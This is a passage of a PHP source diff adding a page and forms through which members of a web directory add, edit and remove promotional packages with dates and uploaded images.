+        * @return boolean If the linked list is smaller than max packages allowed
+        */
+       protected function canAddPackages()
+       {
+        $id = $GLOBALS['memberAuth']->getAuthData('member_id');
+               $ll = new Toolkit_Members_Packages(null, $id);
+        $ll->setDbh($this->dbh);
+               $ll->createMemberList();
+               return ($ll->getListSize() < $this->maxPackages);
+       }
+
+       //      }}}
+
+       //      {{{     displayPage()
+
+    /**
+     * Displays the page to the screen
+     * 
+     * @return void  
+     * @access public
+     */
+       public function displayPage()
+       {
+               echo $this->getPage();
+       }
+
+       //      }}}
+
+       //      {{{     getUploadedPackages()
+
+       /**
+        * Get an array of package ids from the DB that have been uploaded for this member
+        *
+        * - Create a linked list of all the members packages
+        * - Walk through the linked list extracting the id from each node into an array
+        * 
+        * @access protected
+        * @return array Ids of all uploaded packages for this member
+        */
+       protected function getUploadedPackages()
+       {
+        $id = $GLOBALS['memberAuth']->getAuthData('member_id');
+               $packages = new Toolkit_Members_Packages(null, $id);
+        $packages->setDbh($this->dbh);
+               $packages->createMemberList();
+               $packages->rewind();
+
+               $ids = array();
+               foreach ($packages as $i) {
+                       //      Don't show the pending packages here.
+                       if (!$i->getPending()) {
+                               $ids[] = $i->getId();
+                       }
+               }
+
+               return $ids;
+       }
+
+       //      }}}
+
+       //      {{{     setUpPage()
+
+       /**
+        * Sets up the page to manipulate packages for a member
+        *
+        * Checks if all the packages uploaded for a member (pending & non-pending)
+        * exceed or match the maximum # of packages allowed for each member to 
+        * upload to their account.
+        *
+        * For every package that is already uploaded, create an edit-package form that
+        * will allow the user to update the caption or delete the package.
+        *
+        * @return void
+        * @access public
+        */
+       public function setUpPage()
+       {
+               $this->page = new StdClass;
+
+               //      Find out if we can still add packages to the record.
+               //      If we can, then add the upload form to the page for the member to see.
+               if ($this->canAddPackages()) {
+                       $addForm = new AddPackage($this->dbh,
+                                      'new_member_package',
+                                                                         'post',
+                                                                         '',
+                                                                         '',
+                                                                         null,
+                                                                         true);
+
+            $addForm->configureForm();
+                       $this->page->uploadForm = $addForm->toHtml($this->tEngine);
+               }
+
+               //      Find out if we have any packages already uploaded.
+               //      If we do, then add the edit package form to the page for each package
+               //      so the member can edit/delete their packages.
+               if ($packages = $this->getUploadedPackages()) {
+                       $this->page->editForm = array();
+                       while (list($i, $j) = each($packages)) {
+                               $editForm = new EditPackage($this->dbh,
+                                            "edit_member_package_$j",
+                                            'post',
+                                            '',
+                                            '',
+                                            array('id' => $j),
+                                            true);
+
+                $editForm->configureForm();
+                               $this->page->editForm[] = $editForm->toHtml($this->tEngine);
+                       }
+               }
+       }
+
+       //      }}}
+}
+
+/**
+ * Form to handle creating a new package in the members only area
+ * 
+ * Handles inserting new package into db as a pending package and creating a
+ * tuple in the member_updates table which will allow the admin to
+ * approve/deny the new package request.
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      <>
+ */
+class AddPackage extends Toolkit_FormBuilder
+{
+       //      {{{ properties
+
+       /**
+        * The table name in the database used to store the data
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName = 'member_packages';
+
+       /**
+        * The template used to render the form
+        *
+        * @var string
+        * @access protected
+        */
+       protected $formTemplate = 'addPackage.tpl';
+
+    /**
+     * Description for protected
+     * @var    array    
+     * @access protected
+     */
+       protected $registeredRules = array();
+
+    /**
+     * Description for protected
+     * @var    string   
+     * @access protected
+     */
+    protected $successMsg
+        = '<div id="form-success-top">
+            You successfully uploaded your package.
+           </div>';
+
+    /**
+     * Description for protected
+     * @var    array    
+     * @access protected
+     */
+       protected $mimeTypes = array(
+        'image/jpe',
+        'image/jpeg',
+        'image/jpg',
+        'image/jfif',
+        'image/pjpeg',
+        'image/pjp',
+        'image/gif',
+        'image/png',
+    );
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+        * @param PDO    $pdo         PHP Data Object to use for DB calls
+        * @param string $formName    Form's name.
+        * @param string $method      (optional) Form's method defaults to 'POST'
+        * @param string $action      (optional) Form's action.
+        * @param string $target      (optional) Form's target defaults to '_self'
+        * @param mixed  $attributes  (optional) Extra attributes for <form> tag.
+        * @param bool   $trackSubmit (optional) Whether to track if the form was
+        *                                                                               submitted by adding a special hidden
+        *                                                                               field.
+        *
+        * @access public
+        * @see    Toolkit_Members_Admin_EditPackages
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+        $this->dbh = $pdo;
+       }
+
+       //      }}}
+
+    //  {{{ configureForm()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void  
+     * @access public
+     */
+    public function configureForm()
+    {
+        $this->configureElements();
+        $this->configureFilters();
+        $this->configureRules();
+    }
+
+    //  }}}
+       //      {{{ configureElements()
+
+       /**
+        * Setup the elements to use on the form.
+        *
+        * @access public
+        * @see    Toolkit_FormBuilder::setupElements()
+        * @return void
+        */
+       public function configureElements()
+       {
+               $e = array();
+               //      All Grouped Elements are created here.
+
+               //      All Elements are created here.  This includes group element definitions.
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'title',
+            'display' => 'Package Title',
+               );
+               $e[] = array(
+                       'type'    => 'textarea',
+                       'req'     => false,
+                       'name'    => 'description',
+            'display' => 'Package Description',
+               );
+        $e[] = array(
+            'type'    => 'date',
+            'req'     => true,
+            'name'    => 'sdate',
+            'display' => 'Start Date',
+            'opts'    => array(
+                'format'           => 'm / d / Y',
+                'minYear'          => date('Y'),
+                'maxYear'          => date('Y') + 10,
+                'addEmptyOption'   => true,
+                'emptyOptionValue' => '',
+                'emptyOptionText'  => array(
+                    'm' => 'mm',
+                    'd' => 'dd',
+                    'Y' => 'yyyy',
+                ),
+            )
+        );
+        $e[] = array(
+            'type'    => 'date',
+            'req'     => true,
+            'name'    => 'edate',
+            'display' => 'End Date',
+            'opts'    => array(
+                'format'           => 'm / d / Y',
+                'minYear'          => date('Y'),
+                'maxYear'          => date('Y') + 10,
+                'addEmptyOption'   => true,
+                'emptyOptionValue' => '',
+                'emptyOptionText'  => array(
+                    'm' => 'mm',
+                    'd' => 'dd',
+                    'Y' => 'yyyy',
+                ),
+            )
+        );
+        $e[] = array(
+            'type'    => 'checkbox',
+            'req'     => false,
+            'name'    => 'remove_img_rmv',
+            'display' => 'Remove Image',
+        );
+        $e[] = array(
+            'type'    => 'static',
+            'req'     => false,
+            'name'    => 'curr_image',
+            'display' => 'Current Image',
+        );
+        $e[] = array(
+            'type'    => 'hidden',
+            'req'     => false,
+            'name'    => 'curr_image_rmv',
+        );
+               $e[] = array(
+                       'type'    => 'file',
+                       'req'     => false,
+                       'name'    => 'image',
+            'display' => 'Upload a Package Photo / Image',
+               );
+               $e[] = array(
+                       'type'    => 'submit',
+                       'req'     => false,
+                       'name'    => 'add_rmv',
+                       'display' => 'Upload new package',
+                       'opts'    => array('class' => 'submit')
+               );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+       //      {{{ configureRules()
+
+    /**
+     * Configure rules for form
+     * 
+     * @return void  
+     * @access public
+     */
+       public function configureRules()
+       {
+               $r = array();
+
+        $checkDate = create_function('$d', '$d = implode("-", $d); return Validate::date($d, array("format" => "%n-%j-%Y"));');
+               $r[] = array(
+                       'element'    => 'sdate',
+                       'message'    => 'ERROR: Invalid Date!',
+                       'type'       => 'callback',
+                       'format'     => $checkDate,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'edate',
+                       'message'    => 'ERROR: Invalid Date!',
+                       'type'       => 'callback',
+                       'format'     => $checkDate,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'image',
+                       'message'    => 'ERROR: Incorrect File Type (.gif, .png, .jpg) only!',
+                       'type'       => 'mimetype',
+                       'format'     => $this->mimeTypes,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+       //      {{{ configureConstants()
+
+    /**
+     * Configure constants for form
+     * 
+     * @return void  
+     * @access public
+     */
+       public function configureConstants()
+       {
+               $c = array(
+            'remove_img_rmv' => false
+        );
+
+               $this->setupConstants($c);
+       }
+
+       //      }}}
+       //      {{{ configureFilters()
+
+    /**
+     * Configure filters for form
+     * 
+     * @return void  
+     * @access public
+     */
+       public function configureFilters()
+       {
+               $f = array();
+
+        $f[] = array(
+            'element' => '__ALL__',
+            'filter' => 'trim'
+        );
+
+               $this->setupFilters($f);
+       }
+
+       //      }}}
+
+    //  {{{ deleteImage()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param object  $is  Parameter description (if any) ...
+     * @param unknown $img Parameter description (if any) ...
+     *
+     * @return object    Return description (if any) ...
+     * @access protected
+     */
+    protected function deleteImage(Toolkit_Image_Server $is, $img)
+    {
+        return $is->imageDelete($img);
+    }
+
+    //  }}}
+
+       //      {{{ insertData()
+
+    /**
+     * Create a new package in the db
+     * 
+     * @param array &$values Form submitted values
+        *
+     * @return object    db result of adding package
+     * @access protected
+     */
+       protected function insertData(&$values)
+       {
+               try {
+            $sql = Toolkit_Common::createSQLInsert(
+                $this->tableName,
+                array_keys($values)
+            );
+
+            return Toolkit_Common::processQuery($this->dbh, $sql, $values);
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+        //     }}}
+
+       //      {{{ processData()
+
+       /**
+        * Handles setting up the from processing and which function to get it done
+        *
+        * @param array $values Submitted values from the form.
+        *
+        * @return void
+        * @access protected
+        */
+       protected function processData($values)
+       {
+               $id = $GLOBALS['memberAuth']->getAuthData('member_id');
+        $cache = new Cache_Lite(Toolkit_Members::getCacheOptions());
+        $cache->remove("Member_Profile-$id", 'Dynamic');
+
+        $e =& $this->getElement('curr_image_rmv');
+
+               $packages = new Toolkit_Members_Packages(null, $id);
+        $packages->setDbh($this->dbh);
+               $packages->createMemberList();
+               $values['pos']       = $packages->getListSize() + 1;
+        $values['image'] = $e->getValue('curr_image_rmv');
+               $values['member_id'] = $GLOBALS['memberAuth']->getAuthData('member_id');
+               $values['pending']   = false;
+        $values['sdate'] = implode('-', $values['sdate']);
+        $values['edate'] = implode('-', $values['edate']);
+               unset($values['MAX_FILE_SIZE'],
+                         $values['curr_image_rmv'],
+                         $values['remove_img_rmv'],
+              $values['add_rmv']);
+
+               Toolkit_Common::getTableMetaData();
+               $this->insertData($values);
+
+               $listPage = BASE_URL .
+                       "memberdb/index.php?Option=Member&Action=Edit&tab=3";
+               header("Location: $listPage");
+       }
+
+       //      }}}
+
+       //      {{{ setupRenderers()
+
+    /**
+     * Set up the rendering engine we are going to use to display this form
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+        $fo = Toolkit_Members::getFlexyOptions();
+
+               $this->template = new HTML_Template_Flexy($fo);
+
+               $renderer =& new HTML_QuickForm_Renderer_ObjectFlexy($this->template);
+
+               $this->accept($renderer);
+               $this->view              = new StdClass;
+        $this->view->showCurrImg = $this->showCurrImg;
+               $this->view->form        = $renderer->toObject();
+               $this->template->compile($this->formTemplate);
+       }
+
+       //      }}}
+
+    //  {{{ validNewImg()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $newImg Parameter description (if any) ...
+     *
+     * @return mixed  Return description (if any) ...
+     * @access public
+     */
+    function validNewImg(array $newImg)
+    {
+        return (is_numeric($newImg['size']) &&
+                $newImg['size'] > 0 &&
+                in_array($newImg['type'], $this->mimeTypes));
+    }
+
+    //  }}}
+    //  {{{ removeOldImage()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $is     Parameter description (if any) ...
+     * @param unknown $oldImg Parameter description (if any) ...
+     *
+     * @return void   
+     * @access public 
+     */
+    function removeOldImage(Toolkit_Image_Server $is, $oldImg)
+    {
+        $this->deleteImage($is, $oldImg);
+        if ($this->elementExists('curr_image_rmv')) {
+            $e =& $this->getElement('curr_image_rmv');
+            $e->setValue(null);
+            $this->_submitValues['curr_image_rmv'] = null;
+        }
+    }
+
+    //  }}}
+    //  {{{ syncCurrImage()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void     
+     * @access protected
+     */
+    protected function syncCurrImage()
+    {
+        $is = new Toolkit_Image_Server();
+
+        $delImg = $this->getSubmitValue('remove_img_rmv');
+        $oldImg = $this->getSubmitValue('curr_image_rmv');
+        $newImg = $this->getSubmitValue('image');
+
+        if ($delImg && $oldImg) {
+            $this->removeOldImage($is, $oldImg);
+            unset($oldImg);
+        } elseif ($oldImg && $this->validNewImg($newImg)) {
+            $this->removeOldImage($is, $oldImg);
+            unset($oldImg);
+        }
+
+        if ($this->validNewImg($newImg)) {
+            $image = $this->uploadImage($is, 'image');
+        } else {
+            $image = $oldImg;
+        }
+
+        if ($image) {
+            $this->updatePhotoElements($is, $image);
+            $this->showCurrImg = true;
+        }
+    }
+
+    //  }}}
+       //      {{{ toHtml()
+
+       /**
+        * Renders the form
+        *
+        * sets the page the form should be redirected to instead of coming back
+        * around to itself.
+        *
+        * @return string The rendered form
+        * @access public
+        */
+       public function toHtml()
+       {
+               //      We need to validate (and freeze if needed)
+               //      before we render the form. That way the
+               //      template knows about any errors on the form.
+               $this->validated = $this->validate();
+
+        //  If they have submitted the form and uploaded a proper image
+        //  but some other element had an error, then we need to show
+        //  their uploaded image in the form
+        if ($this->isSubmitted()) {
+            $this->syncCurrImage();
+        }
+
+               $this->setupRenderers();
+
+               if ($this->validated) {
+                       $processed = $this->process(
+                array(&$this, 'processData'),
+                $this->mergeFiles
+            );
+               }
+
+               return $this->template->bufferedOutputObject($this->view);
+       }
+
+       //      }}}
+
+    //  {{{ updatePhotoElements()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param object $is    Parameter description (if any) ...
+     * @param string $image Parameter description (if any) ...
+     *
+     * @return void  
+     * @access public
+     */
+    public function updatePhotoElements(Toolkit_Image_Server $is, $image)
+    {
+        //  Get the dimensions of the image
+        $dimensions = $is->getImageSize(MEMBER_PHOTOS . $image);
+        if (PEAR::isError($dimensions)) {
+            Toolkit_Common::handleError($dimensions);
+        }
+        list($w, $h) = $dimensions;
+        $s = MEMBER_PHOTOS . $image;
+
+        //  Set the image to show in the element
+        $e =& $this->getElement('curr_image');
+        $e->setText('<img width="'.$w.'" height="'.$h.'" src="'.$s.'">');
+
+        //  updated the hidden elements value to make sure it
+        //  holds the most up-to-date image name
+        $e =& $this->getElement('curr_image_rmv');
+        $e->setValue($image);
+    }
+
+    //  }}}
+    //  {{{ uploadImage()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param object  $is    Parameter description (if any) ...
+     * @param unknown $field Parameter description (if any) ...
+     *
+     * @return object    Return description (if any) ...
+     * @access protected
+     */
+    protected function uploadImage(Toolkit_Image_Server $is, $field)
+    {
+        return $is->imageUpload($field);
+    }
+
+    //  }}}
+}
+
+/**
+ * Form to handle editing/deleting existing packages in members only area
+ * 
+ * Handles updating caption requests for a member or to remove a
+ * package from thier profile
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      <>
+ * @see       Toolkit_FormBuilder
+ */
+class EditPackage extends Toolkit_FormBuilder
+{
+       //      {{{ properties
+
+       /**
+        * The table name in the database used to store the data
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName = 'member_packages';
+
+       /**
+        * The template used to render the form
+        *
+        * @var string
+        * @access protected
+        */
+       protected $formTemplate = 'editPackage.tpl';
+
+    /**
+     * Id of package in db
+     * @var    integer  
+     * @access protected
+     */
+       protected $packageId;
+
+    /**
+     * Description for protected
+     * @var    string   
+     * @access protected
+     */
+    protected $successMsg
+        = '<div id="form-success-top">
+            You successfully updated your package.
+          </div>';
+
+    /**
+     * Any rules we want to register for this form
+     * @var    array    
+     * @access protected
+     */
+       protected $registeredRules = array();
+
+    /**
+     * Description for protected
+     * @var    array    
+     * @access protected
+     */
+       protected $mimeTypes = array(
+        'image/jpe',
+        'image/jpeg',
+        'image/jpg',
+        'image/jfif',
+        'image/pjpeg',
+        'image/pjp',
+        'image/gif',
+        'image/png',
+    );
+       
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+        * @param PDO    $pdo         PHP Data Object to use for DB calls
+        * @param string $formName    Form's name.
+        * @param string $method      (optional) Form's method defaults to 'POST'
+        * @param string $action      (optional) Form's action.
+        * @param string $target      (optional) Form's target defaults to '_self'
+        * @param mixed  $attributes  (optional) Extra attributes for <form> tag.
+        * @param bool   $trackSubmit (optional) Whether to track if the form was
+        *                                                                               submitted by adding a special hidden
+        *                                                                               field.
+        *
+        * @access public
+        * @see    Toolkit_Members_Admin_EditPackages
+        */
+       public function __construct(
+        PDO $pdo,
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+       
+               $this->packageId = $attributes['id'];
+        $id = $GLOBALS['memberAuth']->getAuthData('member_id');
+               $this->packages  = new Toolkit_Members_Packages(null, $id);
+        $this->packages->setDbh($pdo);
+               $this->packages->createMemberList();
+        $this->dbh = $pdo;
+       }
+
+       //      }}}
+
+    //  {{{ configureForm()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void  
+     * @access public
+     */
+    public function configureForm()
+    {
+        $this->configureElements();
+        $this->configureDefaults();
+        $this->configureFilters();
+        $this->configureRules();
+    }
+
+    //  }}}
+       //      {{{ configureDefaults()
+
+       /**
+        * Setup the element default values for form
+        *
+        * @access public
+        * @see    Toolkit_FormBuilder::setupDefaults()
+        * @return void
+        */
+       public function configureDefaults()
+       {
+        $sql = "
+            SELECT *
+              FROM {$this->tableName}
+             WHERE id = {$this->packageId}";
+
+        $defaults = $this->dbh->query($sql)->fetch(PDO::FETCH_ASSOC);
+        $defaults['curr_image_rmv'] = $defaults['image'];
+        $img = '<img src="%s">';
+        $defaults['curr_image'] = sprintf($img, MEMBER_PHOTOS . $defaults['image']);
+        $this->showCurrImg = $defaults['image'];
+               $this->setupDefaults($defaults);
+       }
+
+       //      }}}
+       //      {{{ configureElements()
+
+       /**
+        * Setup the elements to use on the form.
+        *
+        * @access public
+        * @see    Toolkit_FormBuilder::setupElements()
+        * @return void
+        */
+       public function configureElements()
+       {
+               $e = array();
+               //      All Grouped Elements are created here.
+
+               //      All Elements are created here.  This includes group element definitions.
+               $e[] = array(
+                       'type'    => 'text',
+                       'req'     => false,
+                       'name'    => 'title',
+            'display' => 'Package Title',
+               );
+               $e[] = array(
+                       'type'    => 'textarea',
+                       'req'     => false,
+                       'name'    => 'description',
+            'display' => 'Package Description',
+               );
+        $e[] = array(
+            'type'    => 'date',
+            'req'     => true,
+            'name'    => 'sdate',
+            'display' => 'Start Date',
+            'opts'    => array(
+                'format'           => 'm / d / Y',
+                'minYear'          => date('Y'),
+                'maxYear'          => date('Y') + 10,
+                'addEmptyOption'   => true,
+                'emptyOptionValue' => '',
+                'emptyOptionText'  => array(
+                    'm' => 'mm',
+                    'd' => 'dd',
+                    'Y' => 'yyyy',
+                ),
+            )
+        );
+        $e[] = array(
+            'type'    => 'date',
+            'req'     => true,
+            'name'    => 'edate',
+            'display' => 'End Date',
+            'opts'    => array(
+                'format'           => 'm / d / Y',
+                'minYear'          => date('Y'),
+                'maxYear'          => date('Y') + 10,
+                'addEmptyOption'   => true,
+                'emptyOptionValue' => '',
+                'emptyOptionText'  => array(
+                    'm' => 'mm',
+                    'd' => 'dd',
+                    'Y' => 'yyyy',
+                ),
+            )
+        );
+        $e[] = array(
+            'type'    => 'checkbox',
+            'req'     => false,
+            'name'    => 'remove_img_rmv',
+            'display' => 'Remove Image',
+        );
+        $e[] = array(
+            'type'    => 'static',
+            'req'     => false,
+            'name'    => 'curr_image',
+            'display' => 'Current Image',
+        );
+        $e[] = array(
+            'type'    => 'hidden',
+            'req'     => false,
+            'name'    => 'curr_image_rmv',
+        );
+               $e[] = array(
+                       'type'    => 'file',
+                       'req'     => false,
+                       'name'    => 'image',
+            'display' => 'Upload a Package Photo / Image',
+               );
+               $e[] = array(
+                       'type'    => 'submit',
+                       'req'     => false,
+                       'name'    => 'add_rmv',
+                       'display' => 'Update Package',
+                       'opts'    => array('class' => 'submit')
+               );
+               $e[] = array(
+                       'type'    => 'submit',
+                       'req'     => false,
+                       'name'    => 'remove_rmv',
+                       'display' => 'Remove Package',
+                       'opts'    => array('class' => 'submit')
+               );
+
+               $this->setupElements($e);
+       }
+
+       //      }}}
+       //      {{{ configureRules()
+
+    /**
+     * Configure rules for form
+     * 
+     * @return void  
+     * @access public
+     */
+       public function configureRules()
+       {
+               $r = array();
+
+        $checkDate = create_function('$d', '$d = implode("-", $d); return Validate::date($d, array("format" => "%n-%j-%Y"));');
+               $r[] = array(
+                       'element'    => 'sdate',
+                       'message'    => 'ERROR: Invalid Date!',
+                       'type'       => 'callback',
+                       'format'     => $checkDate,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'edate',
+                       'message'    => 'ERROR: Invalid Date!',
+                       'type'       => 'callback',
+                       'format'     => $checkDate,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+               $r[] = array(
+                       'element'    => 'image',
+                       'message'    => 'ERROR: Incorrect File Type (.gif, .png, .jpg) only!',
+                       'type'       => 'mimetype',
+                       'format'     => $this->mimeTypes,
+                       'validation' => $this->validationType,
+                       'reset'      => false,
+                       'force'      => false
+               );
+
+               $this->setupRules($r);
+       }
+
+       //      }}}
+       //      {{{ configureConstants()
+
+    /**
+     * Configure constants for form
+     * 
+     * @return void  
+     * @access public
+     */
+       public function configureConstants()
+       {
+               $c = array(
+            'remove_img_rmv' => false
+        );
+
+               $this->setupConstants($c);
+       }
+
+       //      }}}
+       //      {{{ configureFilters()
+
+    /**
+     * Configure filters for form
+     * 
+     * @return void  
+     * @access public
+     */
+       public function configureFilters()
+       {
+               $f = array();
+
+        $f[] = array(
+            'element' => '__ALL__',
+            'filter' => 'trim'
+        );
+
+               $this->setupFilters($f);
+       }
+
+       //      }}}
+
+    //  {{{ deleteImage()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param object  $is  Parameter description (if any) ...
+     * @param unknown $img Parameter description (if any) ...
+     *
+     * @return object    Return description (if any) ...
+     * @access protected
+     */
+    protected function deleteImage(Toolkit_Image_Server $is, $img)
+    {
+        return $is->imageDelete($img);
+    }
+
+    //  }}}
+
+       //      {{{ processData()
+
+       /**
+        * Handles setting up the from processing and which function to get it done
+        *
+        * @param array $values Submitted values from the form.
+        *
+        * @return void
+        * @access protected
+        */
+       protected function processData($values)
+       {
+               $id = $GLOBALS['memberAuth']->getAuthData('member_id');
+        $cache = new Cache_Lite(Toolkit_Members::getCacheOptions());
+        $cache->remove("Member_Profile-$id", 'Dynamic');
+
+        $e =& $this->getElement('curr_image_rmv');
+
+        $values['image'] = $e->getValue('curr_image_rmv');
+        $values['sdate'] = implode('-', $values['sdate']);
+        $values['edate'] = implode('-', $values['edate']);
+               unset($values['MAX_FILE_SIZE'],
+                         $values['curr_image_rmv'],
+                         $values['remove_img_rmv'],
+              $values['add_rmv']);
+
+               Toolkit_Common::getTableMetaData();
+               $this->updateData($values);
+
+               $listPage = BASE_URL .
+                       "memberdb/index.php?Option=Member&Action=Edit&tab=3";
+               header("Location: $listPage");
+       }
+
+       //      }}}
+
+       //      {{{ setupRenderers()
+
+    /**
+     * Set up the rendering engine we are going to use to display this form
+     * 
+     * @return void     
+     * @access protected
+     */
+       protected function setupRenderers()
+       {
+        $fo = Toolkit_Members::getFlexyOptions();
+
+               $this->template = new HTML_Template_Flexy($fo);
+
+               $renderer =& new HTML_QuickForm_Renderer_ObjectFlexy($this->template);
+
+               $this->accept($renderer);
+               $this->view              = new StdClass;
+        $this->view->showCurrImg = $this->showCurrImg;
+               $this->view->form        = $renderer->toObject();
+               $this->template->compile($this->formTemplate);
+       }
+
+       //      }}}
+
+    //  {{{ validNewImg()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param array $newImg Parameter description (if any) ...
+     *
+     * @return mixed  Return description (if any) ...
+     * @access public
+     */
+    function validNewImg(array $newImg)
+    {
+        return (is_numeric($newImg['size']) &&
+                $newImg['size'] > 0 &&
+                in_array($newImg['type'], $this->mimeTypes));
+    }
+
+    //  }}}
+    //  {{{ removeOldImage()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $is     Parameter description (if any) ...
+     * @param unknown $oldImg Parameter description (if any) ...
+     *
+     * @return void   
+     * @access public 
+     */
+    function removeOldImage(Toolkit_Image_Server $is, $oldImg)
+    {
+        $this->deleteImage($is, $oldImg);
+        if ($this->elementExists('curr_image_rmv')) {
+            $e =& $this->getElement('curr_image_rmv');
+            $e->setValue(null);
+            $this->_submitValues['curr_image_rmv'] = null;
+        }
+    }
+
+    //  }}}
+    //  {{{ syncCurrImage()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return void     
+     * @access protected
+     */
+    protected function syncCurrImage()
+    {
+        $is = new Toolkit_Image_Server();
+
+        $delImg = $this->getSubmitValue('remove_img_rmv');
+        $oldImg = $this->getSubmitValue('curr_image_rmv');
+        $newImg = $this->getSubmitValue('image');
+
+        if ($delImg && $oldImg) {
+            $this->removeOldImage($is, $oldImg);
+            unset($oldImg);
+        } elseif ($oldImg && $this->validNewImg($newImg)) {
+            $this->removeOldImage($is, $oldImg);
+            unset($oldImg);
+        }
+
+        if ($this->validNewImg($newImg)) {
+            $image = $this->uploadImage($is, 'image');
+        } else {
+            $image = $oldImg;
+        }
+
+        if ($image) {
+            $this->updatePhotoElements($is, $image);
+            $this->showCurrImg = true;
+        }
+    }
+
+    //  }}}
+
+       //      {{{ toHtml()
+
+       /**
+        * Renders the form
+        *
+        * sets the page the form should be redirected to instead of coming back
+        * around to itself.
+        *
+        * @return string The rendered form
+        * @access public
+        */
+       public function toHtml()
+       {
+               //      We need to validate (and freeze if needed)
+               //      before we render the form. That way the
+               //      template knows about any errors on the form.
+               $this->validated = $this->validate();
+
+        //  If they have submitted the form and uploaded a proper image
+        //  but some other element had an error, then we need to show
+        //  their uploaded image in the form
+        if ($this->isSubmitted()) {
+            $this->syncCurrImage();
+        }
+
+               $this->setupRenderers();
+
+               if ($this->validated) {
+                       $processed = $this->process(
+                array(&$this, 'processData'),
+                $this->mergeFiles
+            );
+               }
+
+               return $this->template->bufferedOutputObject($this->view);
+       }
+
+       //      }}}
+
+       //      {{{     removePackage()
+       
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $id Parameter description (if any) ...
+     *
+     * @return object    Return description (if any) ...
+     * @access protected
+     */
+       protected function removePackage($id)
+       {
+               try {
+            //  need to delete the image associated w/ this package here.
+                       $sql = "
+                               DELETE FROM {$this->tableName}
+                                WHERE id = :id";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':id', $id, PDO::PARAM_INT);
+                       return $stmt->execute();
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ updateData()
+
+    /**
+     * Update the package caption
+     * 
+     * @param array $values Submitted form values
+        *
+     * @return boolean Result of updating the caption in the db
+     * @access public 
+     */
+       protected function updateData($values)
+       {
+        try {
+            if (array_key_exists('remove_rmv', $values)) {
+                return $this->removePackage($this->packageId);
+            }
+            $sql = Toolkit_Common::createSQLUpdate(
+                $this->tableName,
+                array_keys($values),
+                array('id = :id')
+            );
+
+            $values['id'] = $this->packageId;
+            return Toolkit_Common::processQuery($this->dbh, $sql, $values);
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+       }
+
+       //      }}}
+    //  {{{ updatePhotoElements()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param object $is    Parameter description (if any) ...
+     * @param string $image Parameter description (if any) ...
+     *
+     * @return void  
+     * @access public
+     */
+    public function updatePhotoElements(Toolkit_Image_Server $is, $image)
+    {
+        //  Get the dimensions of the image
+        $dimensions = $is->getImageSize(MEMBER_PHOTOS . $image);
+        if (PEAR::isError($dimensions)) {
+            Toolkit_Common::handleError($dimensions);
+        }
+        list($w, $h) = $dimensions;
+        $s = MEMBER_PHOTOS . $image;
+
+        //  Set the image to show in the element
+        $e =& $this->getElement('curr_image');
+        $e->setText('<img width="'.$w.'" height="'.$h.'" src="'.$s.'">');
+
+        //  updated the hidden elements value to make sure it
+        //  holds the most up-to-date image name
+        $e =& $this->getElement('curr_image_rmv');
+        $e->setValue($image);
+    }
+
+    //  }}}
+    //  {{{ uploadImage()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
